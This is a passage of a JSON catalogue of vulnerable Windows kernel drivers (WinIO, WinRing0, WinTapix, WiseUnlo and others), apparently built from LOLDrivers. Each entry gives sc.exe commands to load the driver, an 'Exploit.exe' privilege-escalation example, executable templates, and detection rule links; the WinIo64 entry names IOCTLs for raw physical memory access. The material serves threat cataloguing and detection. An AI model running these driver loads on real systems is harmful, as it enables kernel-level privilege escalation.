      "template": "sc.exe create windows7-32.sys binPath=C:\\windows\\temp\\windows7-32.sys     type=kernel type=kernel && sc.exe start windows7-32.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-windows7-32",
    "install": [
      {
        "method": "custom",
        "description": "Load windows7-32.sys kernel driver",
        "commands": [
          "sc.exe create windows7-32.sys binPath=C:\\windows\\temp\\windows7-32.sys     type=kernel type=kernel && sc.exe start windows7-32.sys"
        ]
      }
    ],
    "name": "windows7-32.sys",
    "namespace": "windows:kernel:windows7-32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create windows8-10-32.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\windows8-10-32.sys     type=kernel type=kernel && sc.exe start windows8-10-32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver windows8-10-32.sys\"\n\n# windows8-10-32.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-windows8-10-32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create windows8-10-32.sys binPath=C:\\windows\\temp\\windows8-10-32.sys     type=kernel type=kernel && sc.exe start windows8-10-32.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-windows8-10-32",
    "install": [
      {
        "method": "custom",
        "description": "Load windows8-10-32.sys kernel driver",
        "commands": [
          "sc.exe create windows8-10-32.sys binPath=C:\\windows\\temp\\windows8-10-32.sys     type=kernel type=kernel && sc.exe start windows8-10-32.sys"
        ]
      }
    ],
    "name": "windows8-10-32.sys",
    "namespace": "windows:kernel:windows8-10-32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinFlash64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinFlash64.sys type=kernel && sc.exe start WinFlash64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinFlash64.sys\"\n\n# WinFlash64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-winflash64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WinFlash64.sys binPath=C:\\windows\\temp\\WinFlash64.sys type=kernel && sc.exe start WinFlash64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winflash64",
    "install": [
      {
        "method": "custom",
        "description": "Load WinFlash64.sys kernel driver",
        "commands": [
          "sc.exe create WinFlash64.sys binPath=C:\\windows\\temp\\WinFlash64.sys type=kernel && sc.exe start WinFlash64.sys"
        ]
      }
    ],
    "name": "WinFlash64.sys",
    "namespace": "windows:kernel:winflash64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinIO32.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinIO32.sys type=kernel && sc.exe start WinIO32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinIO32.sys\"\n\n# WinIO32.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winio32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WinIO32.sys binPath=C:\\windows\\temp\\WinIO32.sys type=kernel && sc.exe start WinIO32.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winio32",
    "install": [
      {
        "method": "custom",
        "description": "Load WinIO32.sys kernel driver",
        "commands": [
          "sc.exe create WinIO32.sys binPath=C:\\windows\\temp\\WinIO32.sys type=kernel && sc.exe start WinIO32.sys"
        ]
      }
    ],
    "name": "WinIO32.sys",
    "namespace": "windows:kernel:winio32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinIO32A.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinIO32A.sys type=kernel && sc.exe start WinIO32A.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinIO32A.sys\"\n\n# WinIO32A.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winio32a.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WinIO32A.sys binPath=C:\\windows\\temp\\WinIO32A.sys type=kernel && sc.exe start WinIO32A.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winio32a",
    "install": [
      {
        "method": "custom",
        "description": "Load WinIO32A.sys kernel driver",
        "commands": [
          "sc.exe create WinIO32A.sys binPath=C:\\windows\\temp\\WinIO32A.sys type=kernel && sc.exe start WinIO32A.sys"
        ]
      }
    ],
    "name": "WinIO32A.sys",
    "namespace": "windows:kernel:winio32a",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinIO32B.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinIO32B.sys type=kernel && sc.exe start WinIO32B.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinIO32B.sys\"\n\n# WinIO32B.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winio32b.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WinIO32B.sys binPath=C:\\windows\\temp\\WinIO32B.sys type=kernel && sc.exe start WinIO32B.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winio32b",
    "install": [
      {
        "method": "custom",
        "description": "Load WinIO32B.sys kernel driver",
        "commands": [
          "sc.exe create WinIO32B.sys binPath=C:\\windows\\temp\\WinIO32B.sys type=kernel && sc.exe start WinIO32B.sys"
        ]
      }
    ],
    "name": "WinIO32B.sys",
    "namespace": "windows:kernel:winio32b",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinIo64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinIo64.sys type=kernel && sc.exe start WinIo64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinIo64.sys\"\n\n# WinIo64.sys\n\nWinIo64.sys is a hardware access driver based on the WinIo library that provides direct physical memory access and I/O port operations from usermode. The driver maps the \\Device\\PhysicalMemory section object to user space via ZwOpenSection and ZwMapViewOfSection (IOCTL 0x80102040), with corresponding unmap (IOCTL 0x80102044), and provides arbitrary I/O port read (IOCTL 0x80102050) and write (IOCTL 0x80102054) in byte, word, and dword widths. Physical address translation via HalTranslateBusAddress is also available. WHQL attestation signed via Microsoft Windows Third Party Component CA 2014. Distributed by multiple OEM utilities and heavily abused in the wild with 61 malicious execution parents on VT including malware droppers and BYOVD tools. Used by KDU (Kernel Driver Utility) as a provider.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "WinIo64.sys is a hardware access driver based on the WinIo library that provides direct physical memory access and I/O port operations from usermode. The driver maps the \\Device\\PhysicalMemory section object to user space via ZwOpenSection and ZwMapViewOfSection (IOCTL 0x80102040), with corresponding unmap (IOCTL 0x80102044), and provides arbitrary I/O port read (IOCTL 0x80102050) and write (IOCTL 0x80102054) in byte, word, and dword widths. Physical address translation via HalTranslateBusAdd...",
    "execution": {
      "template": "sc.exe create WinIo64 binPath=C:\\windows\\temp\\WinIo64.sys type=kernel && sc.exe start WinIo64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-winio64",
    "install": [
      {
        "method": "custom",
        "description": "Load WinIo64.sys kernel driver",
        "commands": [
          "sc.exe create WinIo64 binPath=C:\\windows\\temp\\WinIo64.sys type=kernel && sc.exe start WinIo64"
        ]
      }
    ],
    "name": "WinIo64.sys",
    "namespace": "windows:kernel:winio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/222"
      },
      {
        "label": "Reference",
        "url": "https://github.com/hfiref0x/KDU"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinIo64A.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinIo64A.sys type=kernel && sc.exe start WinIo64A.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinIo64A.sys\"\n\n# WinIo64A.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winio64a.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WinIo64A.sys binPath=C:\\windows\\temp\\WinIo64A.sys type=kernel && sc.exe start WinIo64A.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winio64a",
    "install": [
      {
        "method": "custom",
        "description": "Load WinIo64A.sys kernel driver",
        "commands": [
          "sc.exe create WinIo64A.sys binPath=C:\\windows\\temp\\WinIo64A.sys type=kernel && sc.exe start WinIo64A.sys"
        ]
      }
    ],
    "name": "WinIo64A.sys",
    "namespace": "windows:kernel:winio64a",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinIo64B.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinIo64B.sys type=kernel && sc.exe start WinIo64B.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinIo64B.sys\"\n\n# WinIo64B.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winio64b.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WinIo64B.sys binPath=C:\\windows\\temp\\WinIo64B.sys type=kernel && sc.exe start WinIo64B.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winio64b",
    "install": [
      {
        "method": "custom",
        "description": "Load WinIo64B.sys kernel driver",
        "commands": [
          "sc.exe create WinIo64B.sys binPath=C:\\windows\\temp\\WinIo64B.sys type=kernel && sc.exe start WinIo64B.sys"
        ]
      }
    ],
    "name": "WinIo64B.sys",
    "namespace": "windows:kernel:winio64b",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinIo64C.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinIo64C.sys type=kernel && sc.exe start WinIo64C.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinIo64C.sys\"\n\n# WinIo64C.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winio64c.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WinIo64C.sys binPath=C:\\windows\\temp\\WinIo64C.sys type=kernel && sc.exe start WinIo64C.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winio64c",
    "install": [
      {
        "method": "custom",
        "description": "Load WinIo64C.sys kernel driver",
        "commands": [
          "sc.exe create WinIo64C.sys binPath=C:\\windows\\temp\\WinIo64C.sys type=kernel && sc.exe start WinIo64C.sys"
        ]
      }
    ],
    "name": "WinIo64C.sys",
    "namespace": "windows:kernel:winio64c",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": " https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      },
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WINIODrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WINIODrv.sys type=kernel && sc.exe start WINIODrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WINIODrv.sys\"\n\n# WINIODrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winiodrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create WINIODrv.sys binPath=C:\\windows\\temp\\WINIODrv.sys type=kernel && sc.exe start WINIODrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winiodrv",
    "install": [
      {
        "method": "custom",
        "description": "Load WINIODrv.sys kernel driver",
        "commands": [
          "sc.exe create WINIODrv.sys binPath=C:\\windows\\temp\\WINIODrv.sys type=kernel && sc.exe start WINIODrv.sys"
        ]
      }
    ],
    "name": "WINIODrv.sys",
    "namespace": "windows:kernel:winiodrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinRing0.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinRing0.sys type=kernel && sc.exe start WinRing0.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinRing0.sys\"\n\n# WinRing0.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-winring0.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3ec5ad51e6879464dfbccb9f4ed76c6325056a42548d5994ba869da9c4c039a8.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/47eaebc920ccf99e09fc9924feb6b19b8a28589f52783327067c9b09754b5e84.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/a7b000abbcc344444a9b00cfade7aa22ab92ce0cadec196c30eb1851ae4fa062.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create WinRing0.sys binPath=C:\\windows\\temp\\WinRing0.sys type=kernel && sc.exe start WinRing0.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-winring0",
    "install": [
      {
        "method": "custom",
        "description": "Load WinRing0.sys kernel driver",
        "commands": [
          "sc.exe create WinRing0.sys binPath=C:\\windows\\temp\\WinRing0.sys type=kernel && sc.exe start WinRing0.sys"
        ]
      }
    ],
    "name": "WinRing0.sys",
    "namespace": "windows:kernel:winring0",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      },
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WinTapix.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WinTapix.sys type=kernel && sc.exe start WinTapix.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WinTapix.sys\"\n\n# WinTapix.sys\n\nWintapix.sys is partially protected by VMProtect, a software protection tool that uses virtualization to protect software applications from reverse engineering and unauthorized usage. It transforms the original executable file into a virtualized code executed in a protected environment, making it difficult to analyze and tamper with.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wintapix.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Wintapix.sys is partially protected by VMProtect, a software protection tool that uses virtualization to protect software applications from reverse engineering and unauthorized usage. It transforms the original executable file into a virtualized code executed in a protected environment, making it difficult to analyze and tamper with.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create WinTapix.sys binPath=C:\\windows\\temp\\WinTapix.sys type=kernel && sc.exe start WinTapix.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-wintapix",
    "install": [
      {
        "method": "custom",
        "description": "Load WinTapix.sys kernel driver",
        "commands": [
          "sc.exe create WinTapix.sys binPath=C:\\windows\\temp\\WinTapix.sys type=kernel && sc.exe start WinTapix.sys"
        ]
      }
    ],
    "name": "WinTapix.sys",
    "namespace": "windows:kernel:wintapix",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.fortinet.com/blog/threat-research/wintapix-kernal-driver-middle-east-countries"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WiRwaDrvsys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WiRwaDrvsys.sys type=kernel && sc.exe start WiRwaDrvsys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WiRwaDrv.sys\"\n\n# WiRwaDrv.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wirwadrv.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create WiRwaDrvsys binPath= C:\\windows\\temp\\WiRwaDrvsys.sys type=kernel && sc.exe start WiRwaDrvsys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-wirwadrv",
    "install": [
      {
        "method": "custom",
        "description": "Load WiRwaDrv.sys kernel driver",
        "commands": [
          "sc.exe create WiRwaDrvsys binPath= C:\\windows\\temp\\WiRwaDrvsys.sys type=kernel && sc.exe start WiRwaDrvsys"
        ]
      }
    ],
    "name": "WiRwaDrv.sys",
    "namespace": "windows:kernel:wirwadrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WiseUnlo.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WiseUnlo.sys type=kernel && sc.exe start WiseUnlo.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WiseUnlo.sys\"\n\n# WiseUnlo.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wiseunlo.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/358ac54be252673841a1d65bfc2fb6d549c1a4c877fa7f5e1bfa188f30375d69.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create WiseUnlo.sys binPath=C:\\windows\\temp\\WiseUnlo.sys type=kernel && sc.exe start WiseUnlo.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
